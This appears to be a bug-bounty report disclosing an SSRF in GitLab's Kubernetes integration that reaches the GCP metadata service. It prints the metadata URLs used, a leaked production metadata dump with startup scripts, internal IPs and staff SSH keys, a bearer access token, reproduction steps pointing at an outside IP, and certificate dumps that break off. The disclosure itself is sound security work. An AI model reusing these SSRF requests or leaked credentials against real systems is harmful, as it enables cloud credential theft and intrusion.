GCP Token Exposed by Kubernete Integration [gitlab.com and chef.gitlab.com are affected]
Link: https://hackerone.com/reports/408702
By: @ngalog
Details: https://gitlab.com/newopensource/sharedprojectmirror/ contains an exploit that allow attacker to reach GCP instance and obtain the GCP token of the gitlab.com and chef.gitlab.com instances and the recursive response of the metadata of the instance
Here is the response of SSRF into http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true&alt=text
Can't start installation process. 784: unexpected token at 'instance/attributes/CHEF_BOOTSTRAP_BUCKET gitlab-gprd-chef-bootstrap instance/attributes/CHEF_BOOTSTRAP_KEY gitlab-gprd-bootstrap-validation instance/attributes/CHEF_BOOTSTRAP_KEYRING gitlab-gprd-bootstrap instance/attributes/CHEF_DNS_ZONE_NAME gitlab.com instance/attributes/CHEF_ENVIRONMENT gprd instance/attributes/CHEF_NODE_NAME sidekiq-besteffort-01-sv-gprd.c.gitlab-production.internal instance/attributes/CHEF_PROJECT gitlab-production instance/attributes/CHEF_RUN_LIST "role[gprd-base-be-sidekiq-besteffort]" instance/attributes/CHEF_URL https://chef.gitlab.com/organizations/gitlab/ instance/attributes/CHEF_VERSION 12.19.36 instance/attributes/GL_KERNEL_VERSION 4.10.0-1009 instance/attributes/block-project-ssh-keys TRUE instance/attributes/enable-oslogin FALSE instance/attributes/shutdown-script #!/bin/bash CHEF_NODE_NAME="$(curl -s "http://metadata.google.internal/computeMetadata/v1/instance/attributes/CHEF_NODE_NAME" -H "Metadata-Flavor: Google")" if [[ ! -f /etc/chef/client.pem ]]; then # No client.pem, nothing to do exit 0 fi if type -P knife >/dev/null; then knife node delete "$CHEF_NODE_NAME" -c /etc/chef/client.rb -y knife client delete "$CHEF_NODE_NAME" -c /etc/chef/client.rb -y fi rm -f /etc/chef/client.pem instance/attributes/startup-script #!/bin/bash # vim: ai:ts=8:sw=8:noet # This script is passed as a startup-script to GCP instances ################################################### ### NOTE: It is being run on _every_ boot ### ### It MUST be non destructive and itempotent ### ################################################### exec &> >(tee -a "/var/tmp/bootstrap-$(date +%Y%m%d-%H%M%S).log") set -x SECONDS=0 echo "$(date -u): Bootstrap start" env # Pass env variables for i in $(curl -s "http://metadata.google.internal/computeMetadata/v1/instance/attributes/" -H "Metadata-Flavor: Google"); do if [[ $i == CHEF* ]]; then export "$i"="$(curl -s "http://metadata.google.internal/computeMetadata/v1/instance/attributes/$i" -H "Metadata-Flavor: Google")" fi if [[ $i == GL* ]]; then export "$i"="$(curl -s "http://metadata.google.internal/computeMetadata/v1/instance/attributes/$i" -H "Metadata-Flavor: Google")" fi done # Lookup consul's service endpoint apt-get install jq -y -q format_ext4() { mkfs.ext4 -m 0 -F -E lazy_itable_init=0,lazy_journal_init=0,discard $1 } mount_device() { local device_path=$1 local mount_path=$2 mkdir -p "$mount_path" if ! grep -qs "$mount_path" /proc/mounts; then mount -o discard,defaults $device_path "$mount_path" fi local UUID="$(sudo blkid -s UUID -o value $device_path)" if ! grep -qs "$UUID" /etc/fstab; then echo UUID="$UUID" "$mount_path" ext4 discard,defaults 0 2 | tee -a /etc/fstab fi } if [[ -L /dev/disk/by-id/google-log ]]; then if [[ $(file -sL /dev/disk/by-id/google-log) != *Linux* ]]; then format_ext4 /dev/disk/by-id/google-log fi # In case we resized the underlying GCP disk resize2fs /dev/disk/by-id/google-log mount_device /dev/disk/by-id/google-log /var/log fi # default to false, force a reformat even if there is an existing # Linux filesystem GL_FORMAT_DATA_DISK=${GL_FORMAT_DATA_DISK:-false} if [[ -b /dev/sdb && ("true" == "${GL_FORMAT_DATA_DISK}" || $(file -sL /dev/sdb) != *Linux*) ]]; then format_ext4 /dev/sdb fi # Proceed with mounting if [[ -L /dev/disk/by-id/google-persistent-disk-1 ]]; then mount_device /dev/sdb "${GL_PERSISTENT_DISK_PATH:-/var/opt/gitlab}" fi # Install chef curl -L https://omnitruck.chef.io/install.sh | sudo bash -s -- -v "${CHEF_VERSION}" mkdir -p /etc/chef if [[ ! -e /etc/chef/client.rb ]]; then # create client.rb cat > /etc/chef/client.rb <<-EOF chef_server_url "$CHEF_URL" validation_client_name "gitlab-validator" log_location STDOUT node_name "$CHEF_NODE_NAME" environment "$CHEF_ENVIRONMENT" EOF fi if [[ ! -e /etc/chef/client.pem ]]; then # Get validation.pem from gkms and register node gsutil cp gs://$CHEF_BOOTSTRAP_BUCKET/validation.enc /tmp/validation.enc gcloud kms decrypt --keyring=$CHEF_BOOTSTRAP_KEYRING --location=global --key=$CHEF_BOOTSTRAP_KEY --plaintext-file=/etc/chef/validation.pem --ciphertext-file=/tmp/validation.enc # register client chef-client rm -f /tmp/validation.enc /etc/chef/validation.pem fi # persist the run list knife node -c /etc/chef/client.rb run_list set $CHEF_NODE_NAME $(echo $CHEF_RUN_LIST | tr -d '"') # run chef using the new or modified runlist chef-client # On first boot run the additional runlist if it is defined. if [[ ! -e /var/tmp/inital-boot-run.lock && -n $CHEF_INIT_RUN_LIST ]]; then CHEF_CLIENT_ARGS="-o $(echo "$CHEF_INIT_RUN_LIST" | sed 's/"\|,$//g')" chef-client $CHEF_CLIENT_ARGS fi if [[ -n $GL_KERNEL_VERSION && $(uname -r) != *${GL_KERNEL_VERSION}* ]]; then apt-get install -y linux-image-extra-${GL_KERNEL_VERSION}-gcp linux-image-${GL_KERNEL_VERSION}-gcp linux-gcp-headers-$GL_KERNEL_VERSION apt-get purge -y $(dpkg-query -W -f='${binary:Package}\n' 'linux-image*' 'linux-headers*' | grep -v $GL_KERNEL_VERSION) update-grub touch /tmp/bootstrap-reboot fi duration=$SECONDS echo "$(date -u): Bootstrap finished in $(($duration / 60)) minutes and $(($duration % 60)) seconds" touch /var/tmp/inital-boot-run.lock if [[ -f /tmp/bootstrap-reboot ]]; then rm -f /tmp/bootstrap-reboot reboot fi instance/description instance/disks/0/device-name persistent-disk-0 instance/disks/0/index 0 instance/disks/0/mode READ_WRITE instance/disks/0/type PERSISTENT-SSD instance/disks/1/device-name log instance/disks/1/index 1 instance/disks/1/mode READ_WRITE instance/disks/1/type PERSISTENT instance/hostname sidekiq-besteffort-01-sv-gprd.c.gitlab-production.internal instance/id 3818799783266655985 instance/image projects/ubuntu-os-cloud/global/images/ubuntu-1604-xenial-v20180122 instance/licenses/0/id 1000201 instance/machine-type projects/805818759045/machineTypes/n1-standard-8 instance/maintenance-event NONE instance/name sidekiq-besteffort-01-sv-gprd instance/network-interfaces/0/access-configs/0/external-ip 35.196.112.29 instance/network-interfaces/0/access-configs/0/type ONE_TO_ONE_NAT instance/network-interfaces/0/dns-servers 169.254.169.254 instance/network-interfaces/0/gateway 10.220.6.1 instance/network-interfaces/0/ip 10.220.6.22 instance/network-interfaces/0/mac 42:01:0a:dc:06:16 instance/network-interfaces/0/network projects/805818759045/networks/gprd instance/network-interfaces/0/subnetmask 255.255.254.0 instance/preempted FALSE instance/scheduling/automatic-restart TRUE instance/scheduling/on-host-maintenance MIGRATE instance/scheduling/preemptible FALSE instance/service-accounts/default/aliases default instance/service-accounts/default/email terraform@gitlab-production.iam.gserviceaccount.com instance/service-accounts/default/scopes https://www.googleapis.com/auth/devstorage.read_only instance/service-accounts/default/scopes https://www.googleapis.com/auth/logging.write instance/service-accounts/default/scopes https://www.googleapis.com/auth/compute.readonly instance/service-accounts/default/scopes https://www.googleapis.com/auth/service.management.readonly instance/service-accounts/default/scopes https://www.googleapis.com/auth/cloudkms instance/service-accounts/default/scopes https://www.googleapis.com/auth/servicecontrol instance/service-accounts/default/scopes https://www.googleapis.com/auth/cloud.useraccounts.readonly instance/service-accounts/default/scopes https://www.googleapis.com/auth/trace.append instance/service-accounts/default/scopes https://www.googleapis.com/auth/pubsub instance/service-accounts/default/scopes https://www.googleapis.com/auth/monitoring.write instance/service-accounts/terraform@gitlab-production.iam.gserviceaccount.com/aliases default instance/service-accounts/terraform@gitlab-production.iam.gserviceaccount.com/email terraform@gitlab-production.iam.gserviceaccount.com instance/service-accounts/terraform@gitlab-production.iam.gserviceaccount.com/scopes https://www.googleapis.com/auth/devstorage.read_only instance/service-accounts/terraform@gitlab-production.iam.gserviceaccount.com/scopes https://www.googleapis.com/auth/logging.write instance/service-accounts/terraform@gitlab-production.iam.gserviceaccount.com/scopes https://www.googleapis.com/auth/compute.readonly instance/service-accounts/terraform@gitlab-production.iam.gserviceaccount.com/scopes https://www.googleapis.com/auth/service.management.readonly instance/service-accounts/terraform@gitlab-production.iam.gserviceaccount.com/scopes https://www.googleapis.com/auth/cloudkms instance/service-accounts/terraform@gitlab-production.iam.gserviceaccount.com/scopes https://www.googleapis.com/auth/servicecontrol instance/service-accounts/terraform@gitlab-production.iam.gserviceaccount.com/scopes https://www.googleapis.com/auth/cloud.useraccounts.readonly instance/service-accounts/terraform@gitlab-production.iam.gserviceaccount.com/scopes https://www.googleapis.com/auth/trace.append instance/service-accounts/terraform@gitlab-production.iam.gserviceaccount.com/scopes https://www.googleapis.com/auth/pubsub instance/service-accounts/terraform@gitlab-production.iam.gserviceaccount.com/scopes https://www.googleapis.com/auth/monitoring.write instance/tags gprd instance/tags sidekiq instance/tags sidekiq-besteffort instance/zone projects/805818759045/zones/us-east1-c project/attributes/ssh-keys yorick:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSABglDer6mBuFn5iHaN/tohV9MpCKHUfbCQalQNGo7b3exFPHCUCxzkOluPZtCtxeEjckMCv6h6iDqTF4ce916AAdSqf5anh8xIf9W32NEiQwnaEQj74Gm3rHMeZN+seogr5MRaYGaM7PN6UX1Sm5ms8b3lFfhSRR0moyfr+/izD+xAVUpvBlvhBZ6E/r7pg3q06ff+EwW5Hdo1R5UepDP85Z3QsTIn5/zle/2FCMX2kxHQNewkg3kaJtk88a1X6jrReBihf4RMW0iAme+1ii2VCj6BVuyHleC9fkf0qTyN2NCKyDk/THV6Fes/KSWOjzRym3zrBRHZmyavTpgFrx google-ssh {"userName":"yorick@gitlab.com","expireOn":"2018-04-05T09:44:52+0000"} yorick:ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBESBFaxz0/YC3U/Ee5s4SYjBRQonL0h8LmhmxkHorGNP+nqMjEkaYEyP1/OW1CO0y0E1vsn0AEUZmYeE9TXabSo= google-ssh {"userName":"yorick@gitlab.com","expireOn":"2018-04-05T09:44:48+0000"} omame:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmTe8W7oDcEUrcb8vGrYSTCVY8+/xgrR3UHu1MvMvjP0VphEkQpH8fRjKzmQtumuy5b8PKvRQdxqzMIGhMvPSQOnV+8+JSD4SX+gnwnWchKERyiWCV3Kma6HEXGR+Drrcx0120MVOM3GA6FN9RiIhGjYmcoNRuiPdOdMhxvasTPJWfT9nisKCwLEJr9rdPli/OZvVtAb0fV6s7IvGZIwhrbfQFni7Rg4fboM2x63nZNeGq3YMPkpPtOfmukdgkHVL99tEcszft65uNEx8gLNvUtwxGAF+K7NJF9rNyZIumEJIZlmhYg87gmpsUW24lAll2pQ4qrTjqSilOwPBLVcIt omame@tombo andrewn:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqXQ53anDNl2lX2zs5L0FSGiT0+I4PsQwNC3HBhn5Rfxi5ZexdGI6JZ12DqmIiy189kokmxDd8xQxjwRkZ2Rhcg6FJj5UWDo/EFH7Gx1dnxT9kMEiPAQ0JtE9wwcxx0WScX0FmaA9DktzQuHqIxAFJMFnfwkORBvlGHTaVsbbY9G1f3kEfZz/TmRwJEpFnStn55Q+yJpeIJI+x0m90hLKkwjS0iVeuXoqROPfjy14KqWj9ilTfeuAw9HKXwBr2fUmaqS2V3+W5nnXg9hqvYXKEXdWPo4oog8GYr3w/FzV/bW9VxAyjJIRRV6ncahf/LZOM+Xtsa4u71ztRJoGC/FGn andrewn@bone-machine.local 0x4b1d:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3r4o0hO5Ddet/rJOsQfMHqJLdbAquE60wn39BkEHmLXyIfBFe1soTFL0qFgAueSto7PRDcnV4/PM/wgCJ03APoTIvr4UK+3IX4tWVWfYcuf4csTudLdBmLVO9e0uVNckZ0PhX1w2qmhZKSGzLnB7VyzO1SLHsSL/8M9cYBFGGLDxvmgBuZZnwWML89J36ZxZeVrYWu0JbI82vRd20gAg97iekjl+pFbwnnJWufaLwv93amq2AFaTcX7ROQAvK6/DebfYOk8BPJvbtd1ViPCRg9/A7zfOuITVyInAHeM1AHjcjz3WSJJUzgabP2FfDLx0sB97sglQZiUzHuyuUzK9/ 0x4b1d@nova.local andrew:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqXQ53anDNl2lX2zs5L0FSGiT0+I4PsQwNC3HBhn5Rfxi5ZexdGI6JZ12DqmIiy189kokmxDd8xQxjwRkZ2Rhcg6FJj5UWDo/EFH7Gx1dnxT9kMEiPAQ0JtE9wwcxx0WScX0FmaA9DktzQuHqIxAFJMFnfwkORBvlGHTaVsbbY9G1f3kEfZz/TmRwJEpFnStn55Q+yJpeIJI+x0m90hLKkwjS0iVeuXoqROPfjy14KqWj9ilTfeuAw9HKXwBr2fUmaqS2V3+W5nnXg9hqvYXKEXdWPo4oog8GYr3w/FzV/bW9VxAyjJIRRV6ncahf/LZOM+Xtsa4u71ztRJoGC/FGn andrewn@bone-machine.local jason:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAJPbanBbegHXJnFilgOIJJg3P6WcYNINl88xC3mssvjaZmu5exejxmUlyyGE/ti095p2Q3IqdO+/4cjGh+JfOmd7Gfhkg272o7xLyRdblRvOMpSvrKex3Dz49ajnf5RZSjVtQZUU6PpiYIhob3Wi972XVWWUkB4qSG+/6gRQXVTSbkAEJwDsubKt6f8J4T4QvZOh6khqxwy+eiSqLWvcCXshqU+ugZBRiG7DXC/9At/W/VGvymQ1oLHIGHDHJcvajqSiE1F8Bd0rYHrNoUQjwf/8B4i4HDcXy25IJ9P3RVrwzKzOJ1Jb3z/pihL46uVR5b7xsJr2qPWcHTb+THtP9 jason@stinkpad if:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2KkbN5vWClQ1qkNxzVJjPXzJ+bhi3hcZJg1o8u9WaFq0acC2OE/FBX5tgwPm3qbPfMJKT9IlCAaYRvWnYydb5Lo/odaZL2DcVFm5QQxBEqiG3e4l3oFqdv4esNETp5DIo+IwO4uzMbxvH87wlek2UMZrxH1num+FG6jf8N4pbUmQt4VmhJkfcJ7KSQYWGgd7ysYvQTDMq0IxFfbfV9m0xxWQxKzHN9Hjh+mYfkKJzwutO4ktKoDY57qSEiqPWCoLiAdAa7e1v5lvMW9VYmfUDO7SJfaRc7kjEz8wjroadASpCElUKX3CTBaKCWzP8m1Gms3LrYX6+63lEX5FceOWD if@nux ilya:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2KkbN5vWClQ1qkNxzVJjPXzJ+bhi3hcZJg1o8u9WaFq0acC2OE/FBX5tgwPm3qbPfMJKT9IlCAaYRvWnYydb5Lo/odaZL2DcVFm5QQxBEqiG3e4l3oFqdv4esNETp5DIo+IwO4uzMbxvH87wlek2UMZrxH1num+FG6jf8N4pbUmQt4VmhJkfcJ7KSQYWGgd7ysYvQTDMq0IxFfbfV9m0xxWQxKzHN9Hjh+mYfkKJzwutO4ktKoDY57qSEiqPWCoLiAdAa7e1v5lvMW9VYmfUDO7SJfaRc7kjEz8wjroadASpCElUKX3CTBaKCWzP8m1Gms3LrYX6+63lEX5FceOWD if@nux jarv:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpwSPAnHPKxWgmxoWMjzkzGguRigejJGbNTk0rM/sNvViJrgdt7zDQkG0rtmQGOOe90PmJw3ADCbaDs/AQcNc4smZakDNdwuIpcjJlR0l68Kd7FM2uCt9utQYMBivjruqrMkBKEK4HLI+eGxkGThhGokaCCD0tMgtj4UlZARDFFPHffaGHon5Asxxihgq1fa0tljmhkX+I2Bs7iPibMhZuApJ5U6NyoDPj/iSHMZcGZNBnz2E8nMNEB5UuDjSEKfrPaCTRoqjZWeVuos6DMkYTJKj2vhXWTyXD8oMjTt+h/+zMw8ebiZYY6tTe85rk2WxidGFovxwG7fY5PdyVDUaR jarv@barney.local ahanselka:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCc9UMhBJXvN4uNRJDdeQLQLoXCCAKgnaILRJ22Tq+vO60YZS2Zpx+K3VQoXPwC2YUh6AVpUAECxFniiqkSiDmt7PVPMivqe+78IZ2OfTTFb1E9GluHXQL4CpoegiJq6BQwxWHToSauBm4hhi9qfpoX0WzoNPcu7s9xTEPer0wh9n125Zr0jRD/iZCYeEmhAvppg3cDURq6Q1nqI9oYsOcLzuSOswRVWqcKwMEzAv36HvrcZzGzB4pfG/4iiIFDBX+2pNkirYmxp/fgMld1zRCUqFia1Qw69mRiE0nRQ88HDNtUw6laFojaOA8QrQBFmxEOnUy0mDXfktG0EY5lX6BJ ahanselka@ahanselka-mac.local stanhu:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2zJOhRGlacjobiEyIDp8YcRGShf5BiNThXoWOjggUSfBUKxq6UT/gBkwlaBo+Ljzlci/4lG+oaG9Fi/tP2Ffr6Waa6zu3RAg3P6tKTJckUtUmr51XrSspuPR9oTY+kZi0K+DWRYrnezikvOhTZmR4jm603NYV7CHjwaHIs8/t52WazGi45u6oirRqHWwZCmO6Ocq8VqLU30+09T7ANuQT1xXtJgIqffoUSgh+alKV9lPfDyYnql3K47DtaLWL/USMVondeg98zSM+ZdY+IdUPIx8vdH7XaYQdc8I2fdKjoy0CPqULrnTIsFMMDNQPY550i9mG5nceueMUf30Bk5oX stanhu@Stans-MBP.hsd1.ca.comcast.net lupine:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6xU7TeT9x9T3mSx3CHT4ontQ3/SlkeBR3gBmMtzidpLX4Ab8t1pNWPgIuPKchS7pH7So2aJoOwEP6Q48rZRwlL4eEkhwuucvFB1Geh32Jrb1XsboSonbRNZFwb2l7j5T2TXoUdvvENGzmtnVxrZi/RHdGj4zSFOUmrcWOe0FRfDqv2JJE8L3v/rcaUFy0ZV6ZSSWzRM1wwmLrR8J/TrNRVtr+CAuDcD9o0lGZF4qz32vMqCi09FZGY2iDOUd0OTD1faNSEQXyZ+99+85I56awHq3BFHz0qcyedb+s3ibjriam813qzAVY46+aYpWDYE10prsxC+WVvFp2BtUzcPEN lupine@gitlab-t470p jarv:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzVFv80/gODJEgbVn8BMXW3rRIZnjFylmIMk1dru4IHbcIACLFn1+7h5ooKGH+UcXp06Ej5O8yY0yrLaWUMWX6ibneYqslZF8HXDesofJpgu0FeURu48iU/d8TdNPa9jxOBUEO+kGUz74FHfi4Ys9uBgJAWihOq5JZ6PFl+AZUT17nZ6b6j9qtEaIu4EmXVKyuhD00A92/BkhtOcr4aSN3WP0xT4lv/VrF/mbhsCt6fGPEjYr2oJ+R/wXiZvoFZRhIhiUGr3bxjkXgHJjApfr46nxHGLv4bGLOMdbkTDpUVTZYXzSOAkMxmy2C8nR+akPg1wQaI+8WIIDSQ25o5bWZ jarv@terminus stark:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCth936SM1ItJxg3PWpxY0FMRBV66MIG6FLMjYf5JxEH0YBfKxKtuy8mJcDmjjinlnc1vPa1dNRo7J2DGJ65PUdzjmEYAc/X3tMmotQBSPI/f9jx0/PwMOB6wr+b+B5f3lZei1oRI9N9mKCbRhPMr1sWWD19bDgPS5DYFveC90OG1MwjduiqBfa+Z3wPccBwyh/YvNREK7HURuq2wAW1PIEwMowj7vY+uai8/mb1QdaaJC2jme/2SLI81L2pORY1aEWx0PtHUm3aeyFQbdmB5vf2XlC2cVEY0SSoE7JTdtgEiejvJc94sqFP7yPoWgDZBwbia/WPpfv5Lh2gWd1Daol stark@xps yorickpeterse:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMneKUQIFrcwFGgaMw4MjzHcyLRLUMG9eBGn1OzoIKHDsvS1QOFPrWEZtm+RV9wSf9lkVIW1myElLWmjUot6hMYX70eP/HGL0d28pC7ObXvGWNYPPJi6RMohL+Qvc2X1DaXqDhpEwFcLlZ1dq4rzcRxv/xYPszaT31NSOHC1yJiJvGoG0McqTiWeI55UzblzSkiXtS1OzqhudcruNdM7f76FmMXz1O9DQ6V+qxrwkHJUAvk8Fl8gbdd048VtXN1mwj2VoJ9ceqF7VcfPjrTeV+9Mr8kxoUM+iZxuzHKyc/dN7nddxLdK/491sDfyraLunNG0e9a2hHAB2v8Gzrf9z1 yorickpeterse@sharkie walkerbl:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSDoqgcWL/P9HimVheReYwJONZg1V1MOwTZtSDhpnFXkty0Eem5xI2F1zp5x5AeYHDtEKMYnGiRcyD4bvw5zotpZItlX2WcTZeEjFsVj6LofJrU7+bpTsPafRnTeQ5DFCVj4YqdPR3QdtJ9FZPivFn9apq3C7yiDcN78KXmjdRXiS+kXQk3j1o/ing30hMOtEamCrxLKy/mQNZWY1OUca9pEtBwBeDmWAa5m3jImrzQKG+jWSSHHIuQqlRsELxY5dTqxwtEic3PkQxrMQ9N5ccsFlpYUXSPak6clMQ7Ejtq4/mVU6QHHQZyYGy3dtiIH9Gk56MPd2Ml5Tw7sHPT2DP walkerbl@digitalMoksha.local ahmad:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5NEPg92e06SGwGAgrYYvWyTsAvnoZ2ibON3BD6WZyqlNCcdgnFTxsgr8ERKWrhTj0APJfycXeIUuXUrcDYTJxhllAQMnrdr91fOepSpdmGmqRtdiCX74MM+leWqZqluj4qq7Tsub8VT2pyLd7fOfJ0Q0v/PUPtL7FmhD0eSU1GV0lAWYqB1cwtyKsKGadkp6JKhauS3mOd5LdBCzglxKrYMv47Bpvk+f4LChRDFcDiHtBf2YrnxzjfUF+QH9vawjT+KeElKVL427mfL8A3fFygHFw8yQmJrJYrCEh90T0oPpVf6DpXycfJ0W0BkdL7jnmFksYX5BA+AQY/LnWPql1 ahmad@ahmad-laptop jjarvis:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpwSPAnHPKxWgmxoWMjzkzGguRigejJGbNTk0rM/sNvViJrgdt7zDQkG0rtmQGOOe90PmJw3ADCbaDs/AQcNc4smZakDNdwuIpcjJlR0l68Kd7FM2uCt9utQYMBivjruqrMkBKEK4HLI+eGxkGThhGokaCCD0tMgtj4UlZARDFFPHffaGHon5Asxxihgq1fa0tljmhkX+I2Bs7iPibMhZuApJ5U6NyoDPj/iSHMZcGZNBnz2E8nMNEB5UuDjSEKfrPaCTRoqjZWeVuos6DMkYTJKj2vhXWTyXD8oMjTt+h/+zMw8ebiZYY6tTe85rk2WxidGFovxwG7fY5PdyVDUaR jarv@barney.local project/attributes/sshKeys yorick:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSABglDer6mBuFn5iHaN/tohV9MpCKHUfbCQalQNGo7b3exFPHCUCxzkOluPZtCtxeEjckMCv6h6iDqTF4ce916AAdSqf5anh8xIf9W32NEiQwnaEQj74Gm3rHMeZN+seogr5MRaYGaM7PN6UX1Sm5ms8b3lFfhSRR0moyfr+/izD+xAVUpvBlvhBZ6E/r7pg3q06ff+EwW5Hdo1R5UepDP85Z3QsTIn5/zle/2FCMX2kxHQNewkg3kaJtk88a1X6jrReBihf4RMW0iAme+1ii2VCj6BVuyHleC9fkf0qTyN2NCKyDk/THV6Fes/KSWOjzRym3zrBRHZmyavTpgFrx google-ssh {"userName":"yorick@gitlab.com","expireOn":"2018-04-05T09:45:13+0000"} yorick:ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBESBFaxz0/YC3U/Ee5s4SYjBRQonL0h8LmhmxkHorGNP+nqMjEkaYEyP1/OW1CO0y0E1vsn0AEUZmYeE9TXabSo= google-ssh {"userName":"yorick@gitlab.com","expireOn":"2018-04-05T09:45:06+0000"} project/numeric-project-id 805818759045 project/project-id gitlab-production '
Response of http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=text
Can't start installation process. 784: unexpected token at 'access_token ya29.c.EmwWBk5NRxSUcSpGE1bIu4GPiBgH1Xav6DwpDa1dvNafPbzxCrGq2Y-UDvAlxJrO4UHfvikUN_lgdYZDXlBFJulIhOC3un-12FGSF3PCDP_HZS49MufpzY99oGivKdzvk8Zca4jx6e69io4BS-8 expires_in 2332 token_type Bearer '
Please let me know if Gitlab security team would like explore the full impact of this SSRF.
Steps to reproduce:
- Upgrade your project to Gold plan
- Visit https://gitlab.com/}project_id}/clusters
- Add existing cluster
- API URL set to http://165.227.53.194
- Certificate set to
Certificate:
Data:
Version: 1 (0x0)
Serial Number:
02:ad:66:7e:4e:45:fe:5e:57:6f:3c:98:19:5e:dd:c0
Signature Algorithm: md2WithRSAEncryption
Issuer: C=US, O=RSA Data Security, Inc., OU=Secure Server Certification Authority
Validity
Not Before: Nov 9 00:00:00 1994 GMT
Not After : Jan 7 23:59:59 2010 GMT
Subject: C=US, O=RSA Data Security, Inc., OU=Secure Server Certification Authority
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1000 bit)
Modulus (1000 bit):
00:92:ce:7a:c1:ae:83:3e:5a:aa:89:83:57:ac:25:
01:76:0c:ad:ae:8e:2c:37:ce:eb:35:78:64:54:03:
e5:84:40:51:c9:bf:8f:08:e2:8a:82:08:d2:16:86:
37:55:e9:b1:21:02:ad:76:68:81:9a:05:a2:4b:c9:
4b:25:66:22:56:6c:88:07:8f:f7:81:59:6d:84:07:
65:70:13:71:76:3e:9b:77:4c:e3:50:89:56:98:48:
b9:1d:a7:29:1a:13:2e:4a:11:59:9c:1e:15:d5:49:
54:2c:73:3a:69:82:b1:97:39:9c:6d:70:67:48:e5:
dd:2d:d6:c8:1e:7b
Exponent: 65537 (0x10001)
Signature Algorithm: md2WithRSAEncryption
65:dd:7e:e1:b2:ec:b0:e2:3a:e0:ec:71:46:9a:19:11:b8:d3:
c7:a0:b4:03:40:26:02:3e:09:9c:e1:12:b3:d1:5a:f6:37:a5:
b7:61:03:b6:5b:16:69:3b:c6:44:08:0c:88:53:0c:6b:97:49:
c7:3e:35:dc:6c:b9:bb:aa:df:5c:bb:3a:2f:93:60:b6:a9:4b:
4d:f2:20:f7:cd:5f:7f:64:7b:8e:dc:00:5c:d7:fa:77:ca:39:
16:59:6f:0e:ea:d3:b5:83:7f:4d:4d:42:56:76:b4:c9:5f:04:
f8:38:f8:eb:d2:5f:75:5f:cd:7b:fc:e5:8e:80:7c:fc:50
MD5 Fingerprint=74:7B:82:03:43:F0:00:9E:6B:B3:EC:47:BF:85:A5:93
-----BEGIN CERTIFICATE-----
MIICNDCCAaECEAKtZn5ORf5eV288mBle3cAwDQYJKoZIhvcNAQECBQAwXzELMAkG
A1UEBhMCVVMxIDAeBgNVBAoTF1JTQSBEYXRhIFNlY3VyaXR5LCBJbmMuMS4wLAYD
VQQLEyVTZWN1cmUgU2VydmVyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk0
MTEwOTAwMDAwMFoXDTEwMDEwNzIzNTk1OVowXzELMAkGA1UEBhMCVVMxIDAeBgNV
BAoTF1JTQSBEYXRhIFNlY3VyaXR5LCBJbmMuMS4wLAYDVQQLEyVTZWN1cmUgU2Vy
dmVyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGbMA0GCSqGSIb3DQEBAQUAA4GJ
ADCBhQJ+AJLOesGugz5aqomDV6wlAXYMra6OLDfO6zV4ZFQD5YRAUcm/jwjiioII
0haGN1XpsSECrXZogZoFokvJSyVmIlZsiAeP94FZbYQHZXATcXY+m3dM41CJVphI
uR2nKRoTLkoRWZweFdVJVCxzOmmCsZc5nG1wZ0jl3S3WyB57AgMBAAEwDQYJKoZI
hvcNAQECBQADfgBl3X7hsuyw4jrg7HFGmhkRuNPHoLQDQCYCPgmc4RKz0Vr2N6W3
YQO2WxZpO8ZECAyIUwxrl0nHPjXcbLm7qt9cuzovk2C2qUtN8iD3zV9/ZHuO3ABc
1/p3yjkWWW8O6tO1g39NTUJWdrTJXwT4OPjr0l91X817/OWOgHz8UA==
-----END CERTIFICATE-----
Certificate:
Data:
Version: 1 (0x0)
Serial Number: 419 (0x1a3)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=US, O=GTE Corporation, CN=GTE CyberTrust Root
Validity
Not Before: Feb 23 23:01:00 1996 GMT
Not After : Feb 23 23:59:00 2006 GMT
Subject: C=US, O=GTE Corporation, CN=GTE CyberTrust Root
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:b8:e6:4f:ba:db:98:7c:71:7c:af:44:b7:d3:0f:
46:d9:64:e5:93:c1:42:8e:c7:ba:49:8d:35:2d:7a:
e7:8b:bd:e5:05:31:59:c6:b1:2f:0a:0c:fb:9f:a7:
3f:a2:09:66:84:56:1e:37:29:1b:87:e9:7e:0c:ca:
9a:9f:a5:7f:f5:15:94:a3:d5:a2:46:82:d8:68:4c:
d1:37:15:06:68:af:bd:f8:b0:b3:f0:29:f5:95:5a:
09:16:61:77:0a:22:25:d4:4f:45:aa:c7:bd:e5:96:
df:f9:d4:a8:8e:42:cc:24:c0:1e:91:27:4a:b5:6d:
06:80:63:39:c4:a2:5e:38:03
Exponent: 65537 (0x10001)
Signature Algorithm: md5WithRSAEncryption
